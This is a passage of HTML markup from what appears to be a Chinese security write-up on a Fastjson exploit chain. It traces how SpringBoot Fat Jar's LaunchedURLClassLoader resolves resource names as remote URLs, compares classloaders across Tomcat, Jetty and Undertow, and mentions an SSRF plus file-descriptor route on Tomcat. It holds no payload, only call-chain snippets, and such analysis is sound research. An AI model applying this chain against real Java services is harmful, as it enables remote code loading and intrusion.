mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">在这个 PoC 中，</span></span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">getResourceAsStream()</span></span></code></span><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">接收到的</span></span></span></strong></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">name</span></span></code></span><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">会直接交给</span></span></span></strong></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">new URL(name)</span></span></code></span><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">解析</span></span></span></strong></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">；如果 </span></span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">name</span></span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;"> 是一个远程 URL，就可能发起网络请求并读取远端内容。因此，后续链路才能闭环。</span></span></span></p><p cid="n306" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">普通的Classloader，常规功能是在本地 classpath 里寻找对应的文件，找不到就返回null。</span></span></span></strong></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">所以大部分的Classloader并不支持这样一条链路。</span></span></span></p><p cid="n307" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="escape" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">-</span></span></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">-----</span></span></span></p><p cid="n308" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">SpringBoot Fat Jar算是一个特例，</span></span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">**LaunchedURLClassLoader.findResource**</span></span></code></span><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">直接把name喂回了URLClassLoader，而URLClassPath的通用Loader将name根据不同格式解析</span></span></span></strong></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">，最后构成了利用链路。</span></span></span></p><pre spellcheck="false" lang="javascript" cid="n309" mdtype="fences" style=" white-space: pre-wrap;box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248); border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 16px;width: inherit;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.6em; " data-nest-level="2"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">URLClassLoader</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">findResource</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">name</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">)</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">-&gt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">URLClassPath</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">findResource</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">name</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">)</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">-&gt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">针对每个</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">classpath</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">根选择</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">Loader</span></span></span></span></pre><p cid="n310" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">那么又有了一个新的问题，</span></span></span><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">除了SpringBoot Fat Jar，其他的URLClassLoader为什么不会远程加载？</span></span></span></strong></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">尤其是Tomcat正常的WebappClassLoader也继承自URLClassLoader，并且JDK远程就支持</span></span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">jar</span></span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">协议，</span></span></span><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">那为什么Tomcat下无法利用呢？</span></span></span></strong></span></p><p cid="n311" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">这个问题比想象的要复杂，以下这部分内容我修改了3次...</span></span></span></strong></span></p><p cid="n312" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">首先运行Fat jar的容器也会影响到利用链路</span></span></span></strong></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">。</span></span></span></p><p cid="n313" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">使用Fat jar启动时，J</span></span></span><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">VM默认的Classloader就是LaunchedURLClassLoader</span></span></span></strong></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">。而不同的容器的TCCL运行模式不一样，由于Fastjson用的是当前线程的ClassLoader，那么Tomcat会把他替换TomcatEmbeddedWebappClassLoader</span></span></span></p><figure cid="n314" mdtype="table" style=" box-sizing: border-box;margin: 1.2em 0px;overflow-x: auto; padding: 0px;cursor: default;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><table style="box-sizing: border-box;border-collapse: collapse;border-spacing: 0px;width: 964px;overflow: auto;break-inside: auto;text-align: left;cursor: text;margin: 0px;padding: 0px;word-break: initial;white-space: pre-wrap;"><thead><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><th style="box-sizing: border-box;padding: 6px 13px;font-weight: bold;border-width: 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-left-style: solid;border-top-color: rgb(223, 226, 229);border-right-color: rgb(223, 226, 229);border-left-color: rgb(223, 226, 229);border-image: initial;border-bottom-style: initial;border-bottom-color: initial;margin: 0px;"><span cid="n316" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 225.527px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf=""><span textstyle="" style="font-size: 16px;">容器</span></span></span></span></th><th style="box-sizing: border-box;padding: 6px 13px;font-weight: bold;border-width: 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-left-style: solid;border-top-color: rgb(223, 226, 229);border-right-color: rgb(223, 226, 229);border-left-color: rgb(223, 226, 229);border-image: initial;border-bottom-style: initial;border-bottom-color: initial;margin: 0px;"><span cid="n317" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 684.759px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf=""><span textstyle="" style="font-size: 16px;">TCCL</span></span></span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n319" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 225.527px;min-height: 10px;" data-nest-level="7"><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="8"><strong style="box-sizing: border-box;" data-nest-level="9"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="10"><span leaf=""><span textstyle="" style="font-size: 16px;">Tomcat</span></span></span></strong></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n320" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 684.759px;min-height: 10px;" data-nest-level="7"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="8"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="9"><span leaf=""><span textstyle="" style="font-size: 16px;">TomcatEmbeddedWebappClassLoader</span></span></code></span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n322" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 225.527px;min-height: 10px;" data-nest-level="7"><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="8"><strong style="box-sizing: border-box;" data-nest-level="9"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="10"><span leaf=""><span textstyle="" style="font-size: 16px;">Jetty</span></span></span></strong></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n323" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 684.759px;min-height: 10px;" data-nest-level="7"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="8"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="9"><span leaf=""><span textstyle="" style="font-size: 16px;">LaunchedURLClassLoader</span></span></code></span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n325" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 225.527px;min-height: 10px;" data-nest-level="7"><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="8"><strong style="box-sizing: border-box;" data-nest-level="9"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="10"><span leaf=""><span textstyle="" style="font-size: 16px;">Undertow</span></span></span></strong></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n326" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 684.759px;min-height: 10px;" data-nest-level="7"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="8"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="9"><span leaf=""><span textstyle="" style="font-size: 16px;">LaunchedURLClassLoader</span></span></code></span></span></td></tr></tbody></table></figure><p cid="n327" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">但是</span></span></span><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">Tomcat+SpringBoot Fatjar其实也是可以利用的</span></span></span></strong></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">，因为</span></span></span><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">TomcatEmbeddedWebappClassLoader同样继承了URLClassLoader</span></span></span></strong></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">，但是重写了 loadClass，做了额外的限制不允许连续</span></span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/</span></span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">输入，所以禁止了http链路，但同样可以走ssrf+遍历fd的方式利用。</span></span></span></p><p cid="n328" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">只不过即便在JDK8环境下，依旧不能单次请求利用了。</span></span></span></p><p cid="n329" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">那是不是必须是Fat jar呢，</span></span></span><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">直接war部署在Tomcat/Jetty可以吗？</span></span></span></strong></span></p><p cid="n330" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">在Tomcat的WebappClassLoader，在资源查找的时候，会直接走WebResourceRoot然后在本地查找</span></span></span></p><pre spellcheck="false" lang="javascript" cid="n331" mdtype="fences" style=" white-space: pre-wrap;box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248); border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 16px;width: inherit;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.6em; " data-nest-level="2"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">String</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">path</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">=</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">nameToPath</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">name</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">);</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">resource</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">=</span></span></span><span 